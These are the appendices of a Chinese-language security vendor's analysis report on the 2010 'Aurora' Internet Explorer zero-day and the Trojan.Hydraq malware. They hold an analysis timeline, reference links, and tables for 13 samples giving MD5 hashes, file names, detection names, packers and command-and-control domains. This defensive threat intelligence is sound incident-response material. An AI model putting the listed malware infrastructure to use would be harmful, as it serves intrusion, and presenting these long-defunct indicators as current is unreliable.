| 2010-1-14 | 捕获极光漏洞,开始有关溢出分析研究,协助产品开发部门升级防护规则。|
|---------------|-------------------------------------------------------------------|
| 2010-1-16 | 发布有关分析和报告和用户建议。 |
|---------------|-------------------------------------------------------------------|
| 2010-1-18 | 提供详细分析报告给其他CERT组织。 |
|---------------|-------------------------------------------------------------------|
| 2010-1-20~24 | 陆续接到安天企业级产品用户和网友反馈,要求就有关传闻进行验证分析。|
|---------------|-------------------------------------------------------------------|
| 2010-1-22 | 开始提取样本,进行系统关联分析。 |
|---------------|-------------------------------------------------------------------|
|2010-1-26 |形成本报告第一稿,向用户就相关信息进行反馈。 |
|---------------|-------------------------------------------------------------------|
|2010-01-28 |修订形成第二稿,并发布PDF和网页版本。 |
|---------------|-------------------------------------------------------------------|
|2010-01-29 |修订形成第三稿,并发布TXT版本。 |
+---------------+-------------------------------------------------------------------+
附录二:参考资料链接
1. 关于如何优化系统安全性参见:Windows系统紧急通用安全配置指南
http://www.antiy.com/cn/security/2010/s100129_002_report-windows.htm
2. IE极光漏洞机理等相关信息
http://www.microsoft.com/china/technet/security/bulletin/ms10-002.mspx
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0249
3. Symantec有关本次事件分析链接:
http://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-day-exploit
4. McAfee有关本次事件分析链接:
http://www.mcafee.com/us/threat_center/operation_aurora.html
5. TrendMicro 有关本次事件分析链接:
http://us.trendmicro.com/us/trendwatch/current-threat-activity/zero-day-attacks/index.html?WT.seg_2=2009HP_Alert_TW_ZeroDay
6. ESET有关本次事件分析链接:
http://www.eset.com/threat-center/blog/2010/01/21/operation-aurora-%e2%80%93-history-repeats
7. 有关安全组织的分析链接
http://www.threatexpert.com/report.aspx?md5=7ee6628b8caeef57607e5426261b8c0c
http://blog.fireeye.com/research/2009/07/who-is-exploiting-the-flash-0day.html
8. Microsoft Registry Cleaner与Security Lab有关adobe flash player漏洞攻击分析链接:
http://en.securitylab.ru/viruses/382837.php
http://www.registrycleanergeeks.com/trojan/trojanpidiefg/
附录三:相关样本属性信息表
样本1(*):
+------------------+-------------------------------------------------------------+
| MD5 | 1B59487D4DC029D92B61ABD4F69C9923 |
|------------------|-------------------------------------------------------------|
| 文件大小 | 34,816 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | 30755.malware |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.epoy |
| 对照命名 | McAfee: Roarur.dr |
| | Symantec: Trojan.Hydraq |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | UPX 0.89.6 - 1.02 / 1.05 - 1.24(Microsoft Visual C++ v7.1)|
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2009-7-21 7:38 |
|------------------|-------------------------------------------------------------|
| 控制端服务器域名 | bl88.webhop.org |
|------------------|-------------------------------------------------------------|
| 备注 |(可执行样本)/原始命名无可考,该名字系提交者的命名 |
+------------------+-------------------------------------------------------------+
样本2(*):
+------------------+-------------------------------------------------------------+
| MD5 | 9F880AC607CBD7CDFFFA609C5883C708 |
|------------------|-------------------------------------------------------------|
| 文件大小 | 34,816 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | b.exe |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.epoy |
| 对照命名 | McAfee: Roarur.dr |
| | Symantec: Trojan.Hydraq |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | UPX 0.89.6 - 1.02 / 1.05 - 1.24(Microsoft Visual C++ v7.1)|
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2009-7-21 7:38 |
|------------------|-------------------------------------------------------------|
| 控制端服务器域名 | 360.homeunix.com |
|------------------|-------------------------------------------------------------|
| 备注 |(可执行样本)/原始命名无可考,该名字系提交者的命名 |
+------------------+-------------------------------------------------------------+
样本3(*):
+------------------+-------------------------------------------------------------+
| MD5 | BCBEF5AB2C75C171FEDCCA0A33BCF7F7 |
|------------------|-------------------------------------------------------------|
| 文件大小 | 34,817 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | 1.bin |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.epoy |
| 对照命名 | McAfee: Roarur.dr |
| | Symantec: Trojan.Hydraq |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | UPX 0.89.6 - 1.02 / 1.05 - 1.24(Microsoft Visual C++ v7.1)|
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2009-7-21 7:38 |
|------------------|-------------------------------------------------------------|
| 控制端服务器域名 | 360.homeunix.com |
|------------------|-------------------------------------------------------------|
| 备注 |(可执行样本)/原始命名无可考,该名字系提交者的命名 |
+------------------+-------------------------------------------------------------+
样本4:
+------------------+-------------------------------------------------------------+
| MD5 | 32CC9F9DA93DD4E9FD3D203881197CBF |
|------------------|-------------------------------------------------------------|
| 文件大小 | 81,920 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | Rasmon.dll |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.epoz |
| 对照命名 | McAfee: Roarur.dll |
| | Symantec: Trojan.Hydraq |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | Microsoft Visual C++ |
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2009-5-16 18:15 |
|------------------|-------------------------------------------------------------|
| 控制端服务器域名 | sl1.homelinux.org |
|------------------|-------------------------------------------------------------|
| 域名IP地址国 | 69.164.192.40(美国) |
+------------------+-------------------------------------------------------------+
样本5:
+------------------+-------------------------------------------------------------+
| MD5 | BBE6FE27D503DA9B1F1C30ADAA40730E |
|------------------|-------------------------------------------------------------|
| 文件大小 | 81,920 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | Rasmon.dll |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.epoz |
| 对照命名 | McAfee: Roarur.dll |
| | Symantec: Trojan.Hydraq!gen1 |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | Microsoft Visual C++ |
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2009-5-16 18:15 |
|------------------|-------------------------------------------------------------|
| 控制端服务器域名 | sl1.homelinux.org |
|------------------|-------------------------------------------------------------|
| 域名IP地址国家 | 69.164.192.40(美国) |
+------------------+-------------------------------------------------------------+
样本6:
+------------------+-------------------------------------------------------------+
| MD5 | 0F9C5408335833E72FE73E6166B5A01B |
|------------------|-------------------------------------------------------------|
| 文件大小 | 90,112 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | Rasmon.dll |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.epoz |
| 对照命名 | McAfee: Roarur.dll |
| | Symantec: Trojan.Hydraq!gen1 |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | 未知 |
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2009-7-21 7:38 |
|------------------|-------------------------------------------------------------|
| 控制端服务器域名 | 360.homeunix.com |
+------------------+-------------------------------------------------------------+
样本7:
+------------------+-------------------------------------------------------------+
| MD5 | 2CFCD8C34F22FFB772C99C9293C21BDA |
|------------------|-------------------------------------------------------------|
| 文件大小 | 90,112 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | Rasmon.dll |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.epoz |
| 对照命名 | McAfee: Roarur.dll |
| | Symantec: Trojan.Hydraq!gen1 |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | Microsoft Visual C++ v7.1 |
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2009-7-21 7:38 |
|------------------|-------------------------------------------------------------|
| 控制端服务器域名 | bl88.webhop.org |
+------------------+-------------------------------------------------------------+
样本8:
+------------------+-------------------------------------------------------------+
| MD5 | 3A33013A47C5DD8D1B92A4CFDCDA3765 |
|------------------|-------------------------------------------------------------|
| 文件大小 | 90,112 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | Rasmon.dll |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.epow |
| 对照命名 | McAfee: Roarur.dll |
| | Symantec: Trojan.Hydraq!gen1 |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | Microsoft Visual C++ v7.1 |
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2009-12-16 12:55 |
|------------------|-------------------------------------------------------------|
| 控制端服务器域名 | blog1.servebeer.com |
+------------------+-------------------------------------------------------------+
样本9:
+------------------+-------------------------------------------------------------+
| MD5 | 4A069A20B8262B20E7440C8AB9C54E11 |
|------------------|-------------------------------------------------------------|
| 文件大小 | 90,112 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | Rasmon.dll |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.epoz |
| 对照命名 | McAfee: Roarur.dll |
| | Symantec: Trojan.Hydraq!gen1 |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | Microsoft Visual C++ v7.1 |
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2009-7-21 7:38 |
|------------------|-------------------------------------------------------------|
| 控制端服务器域名 | www.ccmp1.com |
+------------------+-------------------------------------------------------------+
样本10:
+------------------+-------------------------------------------------------------+
| MD5 | 80FC413CF908CD4506C3F790E484822E |
|------------------|-------------------------------------------------------------|
| 文件大小 | 90,113 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | Rasmon.dll |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.eqqr |
| 对照命名 | McAfee: Roarur.dll |
| | Symantec: Trojan.Hydraq!gen1 |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | 未知 |
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2009-7-21 7:38 |
|------------------|-------------------------------------------------------------|
| 控制端服务器域名 | 360.homeunix.com |
+------------------+-------------------------------------------------------------+
样本11:
+------------------+-------------------------------------------------------------+
| MD5 | 4A47404FC21FFF4A1BC492F9CD23139C |
|------------------|-------------------------------------------------------------|
| 文件大小 | 136,704 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | acelpvc.dll |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.eraf |
| 对照命名 | McAfee: Roarur.dll |
| | Symantec: Trojan.Hydraq |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | ASPack 2.12 |
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2006-6-7 11:41 |
+------------------+-------------------------------------------------------------+
样本12:
+------------------+-------------------------------------------------------------+
| MD5 | 467EEF090DEB3517F05A48310FCFD4EE |
|------------------|-------------------------------------------------------------|
| 文件大小 | 8,192 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | VedioDriver.dll |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Agent.bcvj[Spy] |
| 对照命名 | McAfee: Roarur.dll |
| | Symantec: Trojan.Hydraq |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | Microsoft Visual C++ 6.0 DLL |
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2006-5-24 1:32 |
+------------------+-------------------------------------------------------------+
样本13(*):
+------------------+-------------------------------------------------------------+
| MD5 | BA3545841D8A40ED8493E22C0E70A72C |
|------------------|-------------------------------------------------------------|
| 文件大小 | 20,480 字节 |
|------------------|-------------------------------------------------------------|
| 原始文件名 | c_1758.nls |
|------------------|-------------------------------------------------------------|
| | 安天: Trojan/Win32.Genome.eqgc |
| 对照命名 | McAfee: Generic.dx |
| | Symantec: Trojan.Hydraq |
|------------------|-------------------------------------------------------------|
| 壳/编程语言 | Microsoft Visual C++ 6.0 DLL |
|------------------|-------------------------------------------------------------|
| 时间日期戳 | 2006-8-15 22:18 |
|------------------|-------------------------------------------------------------|
| 备注 |(可能下载的PE文件) |
+------------------+-------------------------------------------------------------+
注:1、上述带*的相关程序,由于其没有VERSION信息且并非从现场采集,其现场文件名已不可考。
2、其中大部分控制域名已经失效,其屏蔽基本是由对应免费域名的公司自行屏蔽的。
3、样本列表中rasmon.dll的编译时间为2009-5月、7月、12月3个时间段。